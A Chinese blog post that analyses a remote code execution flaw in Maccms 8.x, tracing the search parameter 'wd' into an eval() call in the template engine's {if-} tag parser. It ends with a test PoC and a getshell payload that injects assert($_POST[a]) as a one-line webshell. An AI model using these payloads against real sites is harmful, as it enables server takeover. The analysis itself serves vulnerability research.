Maccms8.x 命令执行漏洞分析

大概看了下目录和程序的结构 vod 是 /inc/module/vod.php
search 是里面的一个方法
这里先去除过滤函数

然后在index.php去除 360脚本的包含。

然后可以开始测试了

在 F:WWWmaccmsincmodulevod.php
elseif($method=='search')
{
$tpl->C["siteaid"] = 15;
$wd = trim(be("all", "wd"));
    //$wd = chkSql($wd);//这里就是检测到地方我先注释了
if(!empty($wd)){ $tpl->P["wd"] = $wd; }
//if(empty($tpl->P["wd"]) && empty($tpl->P["ids"]) && empty($tpl->P["pinyin"]) && empty($tpl->P["starring"]) && empty($tpl->P["directed"]) && empty($tpl->P["area"]) && empty($tpl->P["lang"]) && empty($tpl->P["year"]) && empty($tpl->P["letter"]) && empty($tpl->P["tag"]) && empty($tpl->P["type"]) && empty($tpl->P["typeid"]) && empty($tpl->P["classid"]) ){ alert ("搜索参数不正确"); }
if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){
showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
exit;
}
//
    $tpl->P['cp'] = 'vodsearch';
$tpl->P['cn'] = urlencode($tpl->P['wd']).'-'.$tpl->P['pg'].'-'.$tpl->P['order'].'-'.$tpl->P['by'].'-'.$tpl->P['ids']. '-'.$tpl->P['pinyin']. '-'.$tpl->P['type'].  '-'.$tpl->P['year']. '-'.$tpl->P['letter'].'-'.$tpl->P['typeid'].'-'.$tpl->P['classid'].'-'.urlencode($tpl->P['area']) .'-'.urlencode($tpl->P['lang'])  .'-'.urlencode($tpl->P['tag']) .'-'.urlencode($tpl->P['starring']) .'-'.urlencode($tpl->P['directed']) ;
echoPageCache($tpl->P['cp'],$tpl->P['cn']);
     
    
$tpl->P["where"]='';
$tpl->P["des"]='';
//省略无关代码
$tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");//加载模板文件
$tpl->mark();//将模板关键字进行替换
$tpl->pageshow();//将模板关键字进行替换
$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );
     
//关键点是在 $valarr 变量  $colarr 的 {page:wd} 被 $tpl->P["wd"] 的值替换,而 $tpl->P["wd"] 就是我们 传入poc的值 {if-:p{page:lang}hpinfo()}a{endif-}}
  
$tpl->H = str_replace($colarr, $valarr ,$tpl->H); //接着再次直接写入模板文件
    unset($colarr,$valarr);//销毁变量的值
    //省略无关代码
}

然后我们跟踪 mark()
mark() 和pagesho() 都在 F:WWWmaccmsinccommontemplate.php 这个文件里面
都是对模板进行替换,我就不展示代码了。
然后返回到index.php文件。
<?php
/*
'软件名称:苹果CMS
'开发作者:MagicBlack    官方网站:[url]http://www.maccms.com/[/url]
'--------------------------------------------------------
'适用本程序需遵循 CC BY-ND 许可协议
'这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和使用;
'不允许对程序代码以任何形式任何目的的再发布。
'--------------------------------------------------------
*/
if(!file_exists('inc/install.lock')) { echo '<script>location.href=\'install.php\';</script>';exit; }
define('MAC_MODULE','home');
require('inc/conn.php');
//require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');//这里获取到请求的 vod-search
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);//进行 - 的分割
    $parlen = count($par);
    $ac = $par[0];//将分割得到的 vod 传给 $ac
     
    if(empty($ac)){ $ac='vod'; $method='index'; }
     
    $colnum = array('id','pg','year','typeid','class','classid','src','num','aid','vid');
    if($parlen>=2){
            $method = $par[1];
             for($i=2;$i<$parlen;$i+=2){
            $tpl->P[trim($par[$i])] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : chkSql(urldecode(trim($par[$i+1])));
        }
    }
    if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
    if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
    unset($colnum);
    $tpl->initData();
    $acs = array('vod','art','map','user','gbook','comment','label');
    if(in_array($ac,$acs)){//这里取到 vod 这个值
            $tpl->P['module'] = $ac;
            include MAC_ROOT.'/inc/module/'.$ac.'.php';//然后加载这个模块
    }
    else{
            showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();//这里是重点 将程序自写的 if标签进行解析 我们跟进看看
    if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
$tpl->run();
echo $tpl->H;//输出首页
?>

在 F:WWWmaccmsinccommontemplate.php 里面可以看到 ifex() 方法
function ifex()
     
        if (!strpos(",".$this->H,"{if-")) { return; }//判断是否是{if- 开头 不是则返回
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];//这里取到的是第一个正则的东西 我的测试数据就是A
$strif= asp2phpif( $iar[2][$m] ) ;//这里是取到第二个正则的东西 就是我们的 phpinfo
$strThen= $iar[3][$m];////这里是取到第三个正则的东西
$elseifFlag=false;
$labelRule2="{elseif-".$strn."";
$labelRule3="{else-".$strn."}";
try{
if (strpos(",".$strThen,$labelRule2)>0){//由于条件不满足 因为前面没有 ,号。所以跳到了else分支
$elseifArray=explode($labelRule2,$strThen);
$elseifArrayLen=count($elseifArray);
$elseifSubArray=explode($labelRule3,$elseifArray[$elseifArrayLen-1]);
$resultStr=$elseifSubArray[1];
$ee = @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
if(!$elseifFlag){
for($elseifLen=1;$elseifLen<$elseifArrayLen-1;$elseifLen++){
$strElseif=getSubStrByFromAndEnd($elseifArray[$elseifLen],":","}","");
$strElseif=asp2phpif($strElseif);
$strElseifThen=getSubStrByFromAndEnd($elseifArray[$elseifLen],"}","","start");
$strElseifThen=str_replace("'","\'",$strElseifThen);
@eval("if($strElseif){\$resultStr='$strElseifThen'; \$elseifFlag=true;}");
if ($elseifFlag) {break;}
}
}
if(!$elseifFlag){
$strElseif0=getSubStrByFromAndEnd($elseifSubArray[0],":","}","");
$strElseif0=asp2phpif($strElseif0);
$strElseifThen0=getSubStrByFromAndEnd($elseifSubArray[0],"}","","start");
$strElseifThen0=str_replace("'","\'",$strElseifThen0);
@eval("if($strElseif0){\$resultStr='$strElseifThen0';\$elseifFlag=true;}");
}
$this->H=str_replace($iar[0][$m],$resultStr,$this->H);
}
else{
$ifFlag = false;
if (strpos(",".$strThen,$labelRule3)>0){//由于这里还是不满足 所以继续跳到else分支
$elsearray=explode($labelRule3,$strThen);
$strThen1=$elsearray[0];
$strElse1=$elsearray[1];
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}
}
else{
@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
//这里是重点了 $strif 是我们传入的 phpinfo 从上面的分析来看 完全没有任何过滤就代入了这个php语句
if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}
}
}
catch(Exception $e){
$this->H=str_replace($iar[0][$m],"",$this->H);
}
catch (Error $e) {
$this->H=str_replace($iar[0][$m],"",$this->H);
}
}
unset($elsearray);
unset($elseifArray);
unset($iar);
if (strpos(",".$this->H,"{if-")) { $this->ifex(); }
}

最终这里执行的结果是这样的

测试poc

http://127.0.0.1/index.php?m=vod-search

post
wd={if-A:print(md5(23333))}{endif-A}

关于getshell

http://127.0.0.1/maccms/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}
一句话密码a

评论

大侠名号:   验证码: 点击我更换图片  

修远兮

在这里记录每一点自己需要的知识

添加创始人微信,一起交流心得

推荐文章RECOMMEND